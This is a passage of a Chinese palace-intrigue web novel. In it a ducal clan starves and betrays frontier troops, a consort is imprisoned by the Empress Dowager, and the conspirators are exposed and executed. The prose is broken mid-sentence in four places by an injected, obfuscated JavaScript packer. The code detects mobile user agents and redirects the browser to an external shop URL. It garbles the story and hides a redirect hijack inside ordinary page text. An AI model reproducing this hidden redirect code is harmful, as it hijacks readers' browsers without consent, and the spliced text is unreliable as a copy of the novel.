“呵,自己犯口业被打了,反而恶人先告状,宫中怎会有如此厚颜无耻之人。” 皇后准备说的话立刻全被堵在嘴里了。 “到底是怎么回事?”她沉下脸,冷声询问在场众人。 沈明珮立刻走上前来,行了一礼后就开始讲述事情经过:“禀娘娘,孟才人诅咒妾的舅舅、兄长和表兄战死,王美人看不下去才会打她的。妾以为王美人无过,将士们在前线抵抗金人,本就是冒着生命危险,难道还要被后方这些安享太平的人诅咒吗?” 皇后听得牙根疼。她巴不得沈明珮的亲人们全都死光,但这话她能说吗?只怕她说出来的第二天皇帝就能废后。眼下前有沈明珮气势汹汹,后有宁妃虎视眈眈,王美人也挺直了腰杆丝毫不惧她的判决,她就是想惩罚王美人也做不到。 场面一时僵住,片刻后皇后才缓缓说:“孟才人诅咒前线将士,本就是大过,但王美人擅用私刑亦有过错。鉴于王美人本意是维护前线将士,孟才人也已受过,本次皆不予处罚,希望你们两个日后谨言慎行。” 她到底还是选择了和稀泥。宁妃“哈”的笑了一声,随后没再说什么,沈明珮和王美人也不敢说什么,此事便不了了之。 离开坤宁宫,沈明珮叫住王美人:“今日多谢你了。” 王美人还是与往日一样的态度:“不用,我今日收拾她只是因为我也是武将的女儿,我听不得有人这么对待在前线作战的将士,不代表我不讨厌你们了。” 说完,她快步离开,把沈明珮远远地甩在后面。 乾清宫内,兵部尚书与户部尚书下了朝就被皇帝叫去共议战事。 皇帝的脸色并不好看,自从前线兵败的消息传来,他已经好几天没睡过好觉,此时在两位尚书面前,几乎压不住火气。 “陛下,自您登极以来,每年送到蓟辽的皆是最好的兵器与粮草,刘总兵依旧战败,实在不可理喻。请陛下及时发兵,扭转战局,臣愿披挂上阵。”兵部尚书正是定国公,此时立刻抓准机会,将责任全部归咎于刘顺,户部尚书本想提出异议,奈何户部大权在户部左侍郎手中,他根本就是个被架空的光杆司令,犹豫半天终究还是一言不发。 “准备集结援兵、粮草,由兵部、户部共同负责。”皇帝下令。 蓟辽总兵府内也是一片愁云惨雾,刘顺沉着脸问传令官:“求助消息发出去了吗?” “没有,”传令官回答,“已经死了七个传令兵了,定国公府的私兵盯准了我们,出了宁远就杀。” 刘顺忍无可忍,将桌上的东西全都扫到地上。 “老匹夫!” 连皇帝也没想到,自开战以来,他收到的所有军情都是定国公府捏造的。更没想到,从开战伊始,蓟辽兵就处在粮草不足的状态之下。 本朝建立之初就废掉了在前朝末年名存实亡的卫所制度,士兵不再承担屯田之责,武官也失去了对驻地的管理之能。卫所制改为募兵制后,平日军中并无太多军人,大半士兵都在战时募集。粮草理所应当地由户部运往当地粮仓,而后由地方官员管理。 直到金人打过来,需要开当地粮仓补给军队,刘顺才知道,蓟辽一带的粮仓全部都有问题,不是粮食已经发霉就是根本不够数。响应招募入伍的青壮倒是很多,但是军粮根本不够呀! 刘顺恨不得把涉事地方官员全砍了,奈何紧急时期还需要他们管理民众,只能先放过他们。同时,他立刻派传令兵前往京师,请求支援。 但是,他派出去的传令兵久无回信,再派出数人后依旧如泥牛入海。他立刻意识到这是针对他的杀招,同时派三个传令兵出去,终于锁定凶手。 但是之后呢?之后要怎么办?粮草断绝,支援全无,消息阻塞,接下来要怎么打?在场众人的心都是无比沉重。 沉默中,一道声音响起。 “长官,让末将去传信吧,”沈明琛上前请战,“末将带一队人杀回京师。” 刘顺沉声道:“定国公那老匹夫既要治我等于死地,定然不会只在宁远城外设伏,你务必小心。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16887965|192097||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “末将明白!”沈明琛抱拳行礼。 一个时辰后,跟随他一同传信的一队人已然整装待发,从侧门离开宁远城。 下午,景阳宫内,东配殿的大门被人粗暴地踢开,一队宫人浩浩荡荡地闯进去。为首之人正是太后的心腹女官,她带来的太监蛮横地撞开沈明珮的宫人,架起她就往外拖。 寒露艰难地与拦着她的数个宫人抗争,见自己主子被拖走,厉声道:“太后娘娘这是要强行打杀陛下的妃子吗?” “陛下的妃子?”女官一脸不屑,“不过一介罪眷,很快就不是陛下的妃子了。” 架着沈明珮的太监手上骤然发力,沈明珮顿觉双臂一股剧烈的疼痛。她死咬着嘴唇,绝不让自己惨呼出声,但宫人们看得分明。 白芷找到机会,摆脱慈宁宫宫人的阻拦,一路跑出景阳宫。慈宁宫女官拦都不拦,冷笑着挥手,其他人架着沈明珮,把她拖出景阳宫。 一行人一路走到慈宁宫。到太后面前,架着沈明珮的两个太监直接把沈明珮扔到太后跟前,沈明珮被砸在地上,就像是跪伏在太后脚下一般。 太后一抬头,两个太监立刻又拉起她,女官走上前,直接就是好几个巴掌。掌完嘴,太监押着沈明珮,不给她丝毫活动的空间。 “蓟辽总兵刘顺抵御金人不利,前线城镇即将沦陷,此战结束后就会被治罪,你的靠山很快就要倒了。”太后带着胜利者的优越,高高在上地宣读这一结果。 知道自己已经落在太后手里,沈明珮反而没了平日的小心翼翼,她竟是直接啐了太后一口。 “自交战以来,前线消息便极少,陛下更是严防后宫打探消息,太后娘娘是如何得知战况的?陛下尚未做出决断,太后娘娘怎么就知道陛下一定会治我舅舅的罪?还是说眼下局面就是定国公府一力推动的?” 太后狠狠地拍了一下桌子,巨大的声音响彻慈宁宫。带回沈明珮的女官立刻会意,又是数个巴掌落下。 “沈美人自知罪孽深重,自请入佛堂为大齐祈福。带下去吧。”太后说完,两个太监便把沈明珮拖进了慈宁宫的小佛堂。 把人扔进去后,他们又有一人进来监督,而后便关上门。佛堂内一片漆黑,沈明珮在黑暗中能清楚地听到外面将门反锁的声音。待门彻底锁上,监督她的人点了一支蜡烛,屋内亮着昏黄的光。 白芷一路跑到乾清宫,乾清宫的宫人立刻将她拦住,她顾不得自己已经累得上气不接下气,恳求宫人放她进去。 “太后娘娘把沈美人带走了,求求你们行行好,放我过去同陛下说。” 一位穿着蟒袍的太监立刻拒绝:“陛下忙着国事,哪里来的时间去管一个美人。” 白芷心中焦急,竟生出从未有过的力气,将拦路的宫人推开,冲进乾清宫。 乾清宫内,皇帝正批阅奏折,突见白芷横中直撞地闯进来,扑到他面前。 “陛下,太后娘娘把沈美人带走了,求求您救救美人!” 皇帝的回答让她彻底绝望。 “母后已经同朕说了,她只是请沈美人为大齐祈福。你闯进乾清宫,本应严惩,看在你是护主心切的份上,朕此次仅小惩大诫。来人,此人擅闯乾清宫,杖责十下。” 立刻就有守在外面的宫人进来,将白芷拖走。 12. 揭露 冬日的夜晚寒意彻骨,京师守在城门口的卫兵们冻得直打哆嗦。广宁门前,卫兵正走来走去地取暖,忽见一个人骑着马直奔城门而来。 那人一身铠甲破破烂烂,浑身浴血,显然是经历了多次恶战,已经是强弩之末。卫兵正要上前阻拦,来人拿出令牌,卫兵检查无误后立刻放行。 来人正是沈明琛。他们一行人一路上被多次追杀,几番苦战下来只有沈明琛一人得以幸存。怀着满腔怒火,他过了城门就直奔皇宫而去。 皇上正在睡觉,被赵德光喊起来。 “陛下,沈指挥佥事求见。” 皇帝睁开眼睛。 “沈明琛?”他立刻清醒过来,坐起身,迅速披上外衫,“他怎么回来了?” 走到正屋,皇帝被沈明琛的满身狼狈惊到了:“沈卿怎么变成这般模样?” “陛下,”沈明琛立刻跪下,“求陛下为我蓟辽将士做主!” “你先站起来,”皇帝说,“到底是怎么回事?” 沈明琛仍跪在地上,突然弓起身子,猛地咳出了血。他擦净嘴边血迹,就这么跪着向皇帝禀报。 “陛下恕罪,但是臣实在是站不起来了。同金人作战后,我们才发现,蓟辽各地粮仓中根本没有多少粮食,仅有的一些粮食还多已发霉。总兵派传令官回京求援,但回复久久不至,多次派传令兵后才发现返京之路已经被人截断。臣此次带了一队人,一路被人截杀到京城郊外,只有臣活着回京。” 说着,他从掏出一封被血染红的信,递给皇帝。皇帝将信打开,上面是蓟辽总兵刘顺对战事的陈述,末尾还有蓟辽总督以及总兵府武官们的签名。 皇帝的脸登时就黑了。从宁远一路截杀到京郊,这是妥妥的内贼啊。 “你直接说,截杀你们的人是谁?” “回陛下,是定国公府。”沈明琛直言。 皇帝黑着脸叫来了太医。 “你好好养伤,”他让太监将沈明琛抬进侧屋,“具体情况朕会派人调查。” 硬撑的一口气终于散了,沈明琛头一歪就彻底昏迷。 皇帝连夜召锦衣卫指挥使进宫,天刚蒙蒙亮,锦衣卫指挥使就带着一大队锦衣卫直奔蓟辽而去。 早朝上,皇帝并未表现出任何不同。等到下朝,他坐在椅子上,突然想起了沈明珮。 “赵德光,”他命令自己的心腹太监,“带几个人去慈宁宫,把沈美人放出来。” “喏。”赵德光领命而去。 慈宁宫的小佛堂内,沈明珮已经跪了好几天。小佛堂内仅有豆大一点亮光,门从早到晚反锁着,只有换班时宫人会带碗水进来,保证她不会死在佛堂。时刻有人监督她,让她不得不跪在佛前,她的腿已经失去知觉,头也昏昏沉沉。 就在这时,门开了,赵德光带着宫人闯进来,二话不说将她抬走。她长舒了口气,而后意识逐渐归于混沌。 “太后娘娘不愧是以严厉著称,”恍惚间她听见赵德光说,“咱家会告诉陛下的。” 锦衣卫一路急行军,终于到达宁远城。蓟辽总兵和蓟辽总督两人面色沉重地将他们带进总兵府。一行人走在总兵府内,并没有看到几个在密信上签名的武官。 “刘大人,那些签名的人呢?”指挥使问刘顺。 “都去支援前方了,近半数已经战死,”刘顺心中有怨气,说话也有些冲,“你们来迟了,金人已经被打退了。” 锦衣卫指挥使面色讪讪。 “我正要去前线,你们同我一起去吧。”刘顺也知道锦衣卫的来意,请他们与自己一起去交战的最前方。 开原是大齐的最北方,也是本次战争最惨烈的地方,守将正是刘顺的次子刘进。当刘顺带着锦衣卫到达开原时,入目的只有遍地的尸体。 刘顺沉着脸走在开原城的街道上。街上没有行人,只有寥寥几个搬运尸体的百姓。街道两边的房子破烂不堪,墙上是一层又一层的血迹。躺在地上的尸体有齐军的,有金人的,也有百姓的,新的叠着旧的,散发出难闻的气味,但幸存者已经习以为常,一脸麻木。处理尸体的人机械地将齐人的尸体收敛好,又将金人的尸体扔出城。 刘顺同锦衣卫走进指挥使司。指挥使司内一片冷清,看不到几个人影,在场的武官也只有一个指挥佥事。刘顺心中顿时升起一股不好的预感。 指挥佥事浑身挂彩,包扎得严严实实,见到刘顺艰难地向他行礼:“末将见过总兵。” 刘顺点点头,问他:“你们指挥使和指挥同知呢?” 听到这问题,与金人血战都毫不畏惧的武官险些哭出来:“死了,都死了。开原的粮仓根本没有粮,我们打到后面只能杀战马。金人打得很凶,好像很清楚我们的布防,又把我们包围了,我们没有援军,消息也传不出去,后来连城里的百姓也一起守城,城破了之后就是巷战,一直打到最后金人退兵,整个开原都打空了。” 刘顺几乎要摔倒。他也只有两个孩子啊!小儿子就这么死在了战场上。 他深吸口气,转过身,咬着牙问锦衣卫指挥使:“大人,我蓟辽军民,在陛下那里可能过关?” 锦衣卫指挥使不知道该怎么面对刘顺的问题,他转过头问指挥佥事:“刘指挥使的遗体可有人收敛?” 指挥佥事摇摇头:“战死的人太多,收敛不过来,也不知道他在何处。可要末将派人去寻找?” “不必了,”刘顺哑着声音拒绝,“都是为了守护大齐而死,不分高低贵贱。” 他挥退了指挥佥事,而后强撑着带锦衣卫了解现状,礼貌地送他们离开前线。锦衣卫一走,他就病了,强撑着最后一口气监督开原的重建。 锦衣卫指挥使一回到京城,就遇到了派人守在各大城门的定国公。定国公带着一叠银票,请他在皇帝面前为定国公府美言。他笑着收下,回头便带着银票进了宫。 当他把在前线所见和回京后定国公的请求都说给皇帝后,皇帝当即将镇纸砸在地上。 “战时残害将士,战后贿赂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16887966|192097||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 钦差,这就是我大齐的国舅爷!定国公就是这么定国的!” 皇帝怒不可遏,锦衣卫指挥使被震得低下头不敢说话。 等火气下去些许,皇帝又对这位锦衣卫统领说:“这次你做得很好,若是没有你们,蓟辽的文武官员就要蒙冤了。” “为陛下分忧,是臣的职责。”锦衣卫指挥使立刻说。 能成为锦衣卫的首领,他自然也是皇帝的心腹,而且是极会揣摩上意的心腹。 锦衣卫指挥使告退后,皇帝又召来为沈明琛诊治的太医:“沈明琛可醒了?” “回陛下,沈佥事伤得太重,又延误了治疗,能保住性命已是万幸,想醒过来还需时间。”太医小心翼翼地回复。 “噢,”皇帝又问,“沈美人如何了?” 话一问出来,皇帝就发现不对。太后发作沈明珮的时间恰巧就是蓟辽军兵败的流言甚嚣尘上的时候,如果说太后没有事先同定国公府联系,他是绝对不信的。而若是没有沈明琛带人冲破封锁,将真实情况告知于他,他大概真的会相信定国公府做出的假象,等前线将士死得差不多、敌人也杀得差不多的时候再派定国公带领援军退敌,如此一来定国公府就是一边坑害了蓟辽军,一边又抢了蓟辽军的功劳。 何其可恨。 “回陛下,沈美人已无碍,只是她膝盖伤得很重,需要日后长期休养。”太医敏锐地感觉到皇帝的情绪变化,好在沈明珮的情况还算不错,让他有勇气说出来。 “不错。”皇帝总算听到了好消息,挥手让太医离开。 之后,他喊上赵德光,前往景阳宫。 景阳宫内,沈明珮已经醒了好几天,但完全下不了地,只要是站立姿势,膝盖就疼痛不已。她打听不到任何前线的消息,心中无比焦急,又毫无办法,只能空等。 她正无奈又无聊地干看着窗外,突然听到寒露说“恭迎陛下”。她转过头,看见皇帝走进寝屋。 “妾见过陛下。”她实在起不来,坐在床上行礼。 皇帝看着她憔悴的模样,难得的生出来一点良心,对着她底气不足。 他斟酌着说:“前线的消息传回来了,你舅舅他们打退了金人,但是你二表兄战死。节哀。” 沈明珮几乎要晕过去,她强撑着意识,尽可能有礼有节地问皇帝:“陛下可否同妾说说具体情况?” 皇帝将情况详细地告诉沈明珮。沈明珮垂着头,安静地听完,抬头看向皇帝时已是泪流满面。 她恨透了太后和定国公府,也有意给他们扣帽子:“陛下,妾真的不明白,同是大齐人,这样做对他们有什么好处?一旦蓟辽失守,京城就要直面金人的威胁,这么简单的道理他们意识不到吗?就算真的恨不得除舅舅而后快,又为什么非要用这种对大齐最为不利的办法?” 她哭得梨花带雨,说得字字恳切,让皇帝心中的天平彻底倒向她。 “因为你有良知,所以才不明白,”皇帝保证,“你放心,朕会给你们一个交代。” 13. 清算 皇帝离开后,沈明珮冷笑着叫来寒露:“拿纸笔来,我要写信。” 给她交代?她可不信。若是真能轻而易举地给她交代,定国公府也不会做出此等冒天下之大不韪之事。定国公府一系在朝堂扎根如此之深,岂是一次出事就能将罪魁祸首尽数拔除的? 她快速写好信,交给寒露:“把它交给兄长的管家。” 鉴于沈明琛确实受伤极重,又是被大齐内部的蠹虫坑害至此,皇帝特别开恩,允沈府的管家进宫见主子。沈明珮便抓住此机会,让寒露直接把信交到管家手上。 寒露找到管家时,沈明琛还没有醒。见寒露过来,管家立刻心领神会,一边配合她收下景阳宫的瓜果点心,一边偷偷接过信,藏在外衣下。 “沈大人何时能醒?”寒露见沈明琛迟迟不醒,亦是心焦。 “听太医说,应当是快了,寒露姑娘莫要忧心。”管家宽慰寒露,正说着,乾清宫的太监走进来,提醒管家该离宫了。 管家向寒露拱手告辞,随后在太监的带领下离宫。 说来也巧,当天晚上沈明琛就醒了。经太医检查已无大碍,再休养几天就可以离开。沈明珮让寒露带过去的瓜果还真就进了他的肚子。 接下来的早朝上,兵部尚书与户部尚书继续张口就来,皇帝在上面一言不发地听他们胡扯。满朝文武并不知道具体发生了什么,只有事先知道内情的锦衣卫指挥使默默低下头,生怕自己当庭破功。 等到早朝尾声,皇帝按例问:“可还有人启奏?” 这其实是示意锦衣卫指挥使的,但左都御史率先站了出来。 “陛下,臣有本奏,”他大义凛然地胡说八道,“臣要弹劾蓟辽总兵刘顺指挥不利,致使大齐抵抗金人失败。” 户部左侍郎立刻站出来,补充道:“臣等知晓蓟辽乃前线要地,凡有粮草物资,一应以最高标准供应,奈何刘总督依然兵败。臣知晓刘总督曾为陛下立下功劳,但不严惩不足以振朝纲。” 而后,户部、兵部以及都察院竟然几乎全站出来,齐声说:“请陛下严惩罪臣。” 皇帝怒极反笑。这右都御史正是皇后的父亲、定国公的小舅子,户部左侍郎更是定国公的三弟。昨天晚上他正好收到两江总督沈思远的密折,折子上沈思远将沈明琛贬得一文不值,就差要将他踢出沈家族谱。密折最后,沈思远更是摆出一副大义灭亲的姿态,请求皇帝处死沈明琛。这沈思远又是左都御史的妹夫。 皇帝当时便震惊于沈思远的狠辣。虎毒不食子,沈思远却迫不及待地想送自己的儿子去死,这如何不让人齿冷。而今日的早朝更是让他惊怒交加。如此整齐划一的请愿,这是把小半个朝堂都变成了他们的领地,任何一个君王都不能容忍这等事情发生。 他沉默地等这些人发难完,立刻说:“还有人要上奏吗?” 锦衣卫指挥使立刻站了出来:“禀陛下,臣要弹劾定国公、户部尚书、户部左侍郎,玩忽职守,致蓟辽物资不足,袭杀蓟辽军传令兵,阻断京师与前线消息,伪造兵败军情,意欲残害蓟辽军民。” “你胡说!”定国公立刻指着锦衣卫指挥使的鼻子喝骂,“他刘顺不过一个总兵,哪里用得着我堂堂定国公来陷害?我知你与刘顺私交甚好,但你也不用为了保下他这般信口雌黄吧?” 他一副情真意切的模样,引得朝中官员频频点头。若非皇帝早就知道事实真相,怕是真的也会被骗过去。 锦衣卫指挥使却是面不改色,继续大爆猛料:“臣在宁远、开原的见闻已尽数告知陛下,臣还要弹劾定国公欲对臣行贿,所有银票臣皆已带上朝堂。” 说着,他直接把那摞银票掏出来,扔在殿上。 定国公的脸都黑了。 皇帝立刻问大理寺卿:“爱卿可有方法确定这些银票是否属于定国公府?” “回陛下,臣有方法,”早就演练过的大理寺卿回答,“每一张银票都有自己的编号,拿着银票去银庄查账,就可以确认这些银票都属于何人。” “既然如此,就交由锦衣卫按大理寺说的方法查,”皇帝一锤定音,“定国公、户部尚书、户部左侍郎暂由锦衣卫收押。” 说罢,便有数个身穿斗牛服的锦衣卫武官登上皇极殿,将三人带走。随后,皇帝宣布退朝。 早朝结束不久,赵德光就从乾清宫外走进来,直奔皇帝而去。 “陛下,太后娘娘请您到慈宁宫。”他深深低下头,生怕遭受皇帝的怒火。 皇帝扔了正在批折子的笔。 “走吧!”他没好气地让赵德光跟上。 等到他到慈宁宫门前时,太后的心腹嬷嬷已经等候多时。 “奴婢见过陛下,”她向皇帝行礼,“娘娘已经等候您多时,请您随奴婢来。” 走进慈宁宫正殿,一个茶杯落在他脚边,茶水溅湿他的衣角。 “你可真是老身的好儿子,坐上皇位没几年就要对你的舅舅动手了。” 太后上来就拿礼法压皇帝,殊不知皇帝最恨的也是礼法。明知太后杀了他的生母,却不能名正言顺地报仇,只因为他已经被记在太后的名下,在礼法上太后就是他唯一的母亲,这是何等的痛苦? 皇帝握紧拳头,死死压住心中的恨意,耐心地对太后解释:“母后有所不知,三舅舅在运粮时玩忽职守,大舅舅在战时又阻断并伪造军情,致使朝廷支援不利,本就犯了重罪……” 太后不满地打断他:“是犯了重罪还是让你的心腹受了委屈?你大舅舅他也主动请战,马上就要带兵支援前线,有他在还不能打退金人吗?我们是针对刘顺不假,他几次三番挑衅我定国公府,我们难道不能针对他吗?你舅舅他也做足了守下辽东的准备,哪里就要被收押治罪了?” 太后的理所当然让皇帝深感荒谬。 “母后可知因为你们蓟辽军民多死了多少人?可知开原如今是何惨状?” 太后如何不知道,但他们敢这么做就是因为有恃无恐——定国公府乃开国皇后母家,从开国传承至今,是有自己掌控的军队的。历代定国公都是直隶总兵,直隶军也号称定国军。皇帝登极后改命定国公为兵部尚书,目的就是将他调离直隶军,减轻定国公府对直隶的影 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16887967|192097||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 响力。但直隶军现在的实际掌控人依然是担任顺天指挥使的定国公府四爷。 有军队支持,太后自然也硬气:“战争哪有不死人的?皇帝,你莫要忘了,当初是老身将你接进坤宁宫中,你才能平安长大。如今你要恩将仇报吗?” 我为什么会进你的坤宁宫你心里没数吗?皇帝心里已经骂翻天了,但现在还不是撕破脸的时候。他也只能顺带问候自己的父皇,若不是他纵容太后和定国公府,自己何至于如此被动? “母后,”他的耐心已经告罄,“正因为朕记得您的养育之恩,才只命人拿了大舅舅和三舅舅。不然,犯下此等大罪,最低都是满门抄斩。母后您不仅是定国公府的姑奶奶,更是大齐的太后,有些事情,朕希望您能自己想清楚。” 说罢,他拂袖而去。 陛下在慈宁宫与太后不欢而散,此事暗中传遍了六宫。景阳宫内,沈明珮得此消息,笑出了声。 “果不其然,”她正左右手各执棋子自己对弈,闻讯将棋子扔回棋盒,“太后怎么可能会让皇上给出能让我满意的交代。” 关键时刻还是得靠自己。 在这些高高在上之人不知道的地方,一本话本悄然登上了京城的各家书店。依然是寒山居士出品,依然是译作,又是从前从未出现过的体裁,西洋英雄史诗。 书名,《罗兰之歌》。 寒山居士当初在翻译时便巧妙地删减了超出社会风化的部分,突出了罗兰的英勇与加奈隆的卑劣,只是因为宗教属性太强,一直没有出版。如今又正逢与金人交战之后,发行此作非常应景。沈明珮又让沈明琛做序,以亲历者的身份公开直言定国公府的罪行,语言质朴真诚。 作为西洋历史上著名的宗教作品,此书最初引起京城内天主信徒的关注,此后又由信仰天主的官员及子孙传播给国子监的诸生,而后内宅女眷、市井百姓也开始阅读。 戏班子见状抓住机会,又加班加点改成戏剧,没几天就开始演上了。此时已近年末,高门大户正好要安排新年的戏班子,心里没鬼人家的索性紧跟潮流,请各大戏班子演出《罗兰之歌》。 一部与大齐传统信仰冲突的作品就这么火遍京城,甚至向各地辐射。人们一边讨论书中情节一边唾弃叛徒,有脾气爆的人甚至向定国公府扔石头、臭鸡蛋和烂菜叶等物。 自然有官员将此现象上报皇帝,定国公夫人也紧急递了牌子面见太后。皇帝对此自然是喜闻乐见,太后倒是震怒,但是她也没什么方法。 难道还能把这些扔东西的人都打杀了吗?他们倒不是没干过这事,可这些人扔完东西就跑,还成群结队地来,抓一个会被其他人抵抗,抓一群立刻就会形成更大的事件。更何况,扔东西的人里还有国子监的监生,即便是定国公府也不敢这般公开打杀身负功名之人。 朝堂上,定国公一系一直在与皇帝拉锯,进了腊月仍然没有结果。沈明珮身在宫里,注意力一直在这件事上,见状又紧急给宫外发了封信。 于是,腊月十二发生了一件大事——国子监监生集体在宫门前静坐,要求严惩定国公府。 14. 妥协 腊月十二,天降大雪。 监生们裹得严严实实地坐在宫门前,等不到结果就誓不离开。雪落满在他们身上,使他们如同沉默的雕塑。 定国公府内,怒不可遏的定国公夫人叫来了管家:“去找你们四老爷!这等时候了还要干等着吗?” 管家领命而去,到达京城大营时,定国公府四老爷已经规整好军队。 于是,在没有帝王命令的情况下,京军擅自行动,直奔宫门而去。 军队到了宫门前,直接举着兵器将监生们团团围住。四老爷一身官服,趾高气扬地站在他们面前。 “你们学子年轻气盛,易受挑拨,本官念在你们身有功名的份上,不予追究。限你们一炷香的时间,速速离开。” “我呸!”为首的监生斥骂,“你定国公府残害将士,祸乱大齐,如今还有脸私自带兵威胁学子,当真是无耻之尤!” 四老爷当然不会畏惧监生的指责,他拔出佩刀,向前一挥,京军立刻将监生们包围得更紧。 可监生们也不低头,竟然在京军的包围下齐声诵念《相鼠》。 “相鼠有皮,人而无仪!人而无仪,不死何为……” 洪亮的声音穿过宫门,传到深宫之中。皇帝听着隐约的背诵声,畅快地笑了。 “好!忍到今日,也该行动了!”他立刻派人传令锦衣卫,将已经审出来的人家尽数捉拿归案。 锦衣卫这些日子里早就将已经羁押的几人审了个底掉,一接到命令,立刻全员出击。寒冬腊月里,锦衣卫跑在京城的街道上,到了目的地就破门而入,很有些人家全家都被锁拿。 慈宁宫内听不到诸生的朗诵,但是太后依然被传来的消息气得头疼。 “废物!”她对传话的下人说,“不过一群学生,既然敢闹到宫门前,那就把领头的杀了便是!便是论罪也是他们聚众闹事!” 下人把话传回定国公府四爷处,他思索片刻,提刀走向监生。军士们见状围得更紧,武器几乎就要怼在监生们的脸上。 眼见得冲突就要一触即发,一队身穿赐服腰佩弯刀的武官将双方包围,为首之人正是锦衣卫指挥使。 “高大人,刀下留人啊!”他人还没到声音先至,嗓音洪亮,在场所有人都听得清清楚楚。 高四爷悻悻地收刀。他很不爽,于是也要拉监生们下水。 “这些学生聚在宫门前闹事,你们锦衣卫不管管吗?” 锦衣卫指挥使在心里翻了个白眼。人家学生们只是静坐,诉求也合情合理,算什么闹事?你私自带兵围堵监生才是闹事! “高大人,举人秀才的事不归我们锦衣卫管,”他直接拒绝,“只是陛下担心学子们遇到危险,派本官来控制场面,不知高大人可否看在陛下的面子上给本官一个方便?” 高四爷不做声,收兵离开。 锦衣卫指挥使又走到为首的监生面前:“我记得你,你是上次秋闱顺天府的解元。你可知道,若锦衣卫不来,定国公府真的有可能对你们动手?也许你们认为死在这里是英勇就义,但你们这些未来的进士哪怕只死一个都是大齐的损失。你们为国发声,都是好后生,所以陛下更希望你们能慎重行事,不要轻易地将自己置于危险之中。” 也不知这位解元是否听进去,指挥使说完之后他恭敬地行了一礼:“学生受教了。” 指挥使满意地点点头:“陛下已命本官将所有涉案人员投入诏狱,你们放心回家吧。” 顺天府解元闻言跪到地上,向乾清宫的方向叩首。 “陛下圣明!” 山呼万岁后,监生们有序地离开。锦衣卫指挥使擦了擦额角的冷汗,向皇帝复命——再晚一步,顺天府解元的命就要保不住了。 得到复命后,皇帝心情极好地直奔慈宁宫而去。 慈宁宫内,太后正在礼佛。与先前拿着佛压人不同,这次她是真心实意地跪在佛前,祈祷定国公府度过这一劫。 “娘娘,陛下来了。”宫人轻敲三下门,在门外恭声禀报。 太后拿着佛珠踉跄着站起身,步履蹒跚地走出佛堂。 走到正屋,不等她坐下,皇帝就迫不及待地行礼道:“儿见过母后,母后可还康健?” 太后没好气地反问:“老身是否康健,陛下难道不知道吗?” 皇帝不以为意,继续笑着说:“国子监的学子在宫门前请愿,请求朕处置蓟辽军一案涉案罪臣,若非锦衣卫及时赶到现场,朕的四舅舅就要对他们动手了。这些时日民间沸反盈天,如今有功名的士子们又集体请愿,定国公府还险些杀了这些士子,朕不得不将舅舅他们法办。” “你大舅舅不能死,定国公绝对不能成为罪人,”太后哑着声音说,“至于其他人,你随意处置吧。” 她终究还是让步了。 “可以,”皇帝也退了一步,“但是出了这样的事情,大舅舅已经不适合再领职务。此外,母后年事已高,身体也不好,就安心颐养天年吧。” “好,皇帝费心了。”太后咬着牙应下。 双方达成一致后,案子很快就审完了。户部左侍郎、定国公府三爷揽下了全部罪责,最终被判凌迟。定国公约束家人不利,引咎辞职,户部尚书御下不利,被罢官并革除功名。此外,皇帝将直隶总兵与两江总兵互关职位。江南、江西两省素来和平,这般调职相当于让原直隶总兵彻底养老。 除户部左侍郎外,还有多人按律当死。皇帝不想把事情拖到年后,下令年前便行刑。于是,在新年将至之时,菜市口人头滚滚。 京城百姓本该忙着准备新年,听闻消息后纷纷前去观刑,菜市口人满为患,几无立锥之地。观刑的百姓们多少都带了几个烂菜叶子臭鸡蛋,待囚车出现后,就向里面的罪囚砸去。 本该维持秩序的小吏对此喜闻乐见,完全不管,等到这些死囚被拉出来时,已然是一身狼藉。 刑部尚书亲至刑场,宣读判决结果,诵读陛下旨意,验明正身后便是行刑。随着人头滚滚落下,百姓拍手叫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16887968|192097||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好。 之后便是定国公府三爷了。刀片落下,他再无出身定国公府的倨傲,同其他受刑人一样惨叫出声。凌迟的行刑时间很长,百姓看了一会儿就没了兴趣,陆陆续续离开。 定国公府三爷行刑的同时,终于伤势痊愈的沈明琛离开京城。 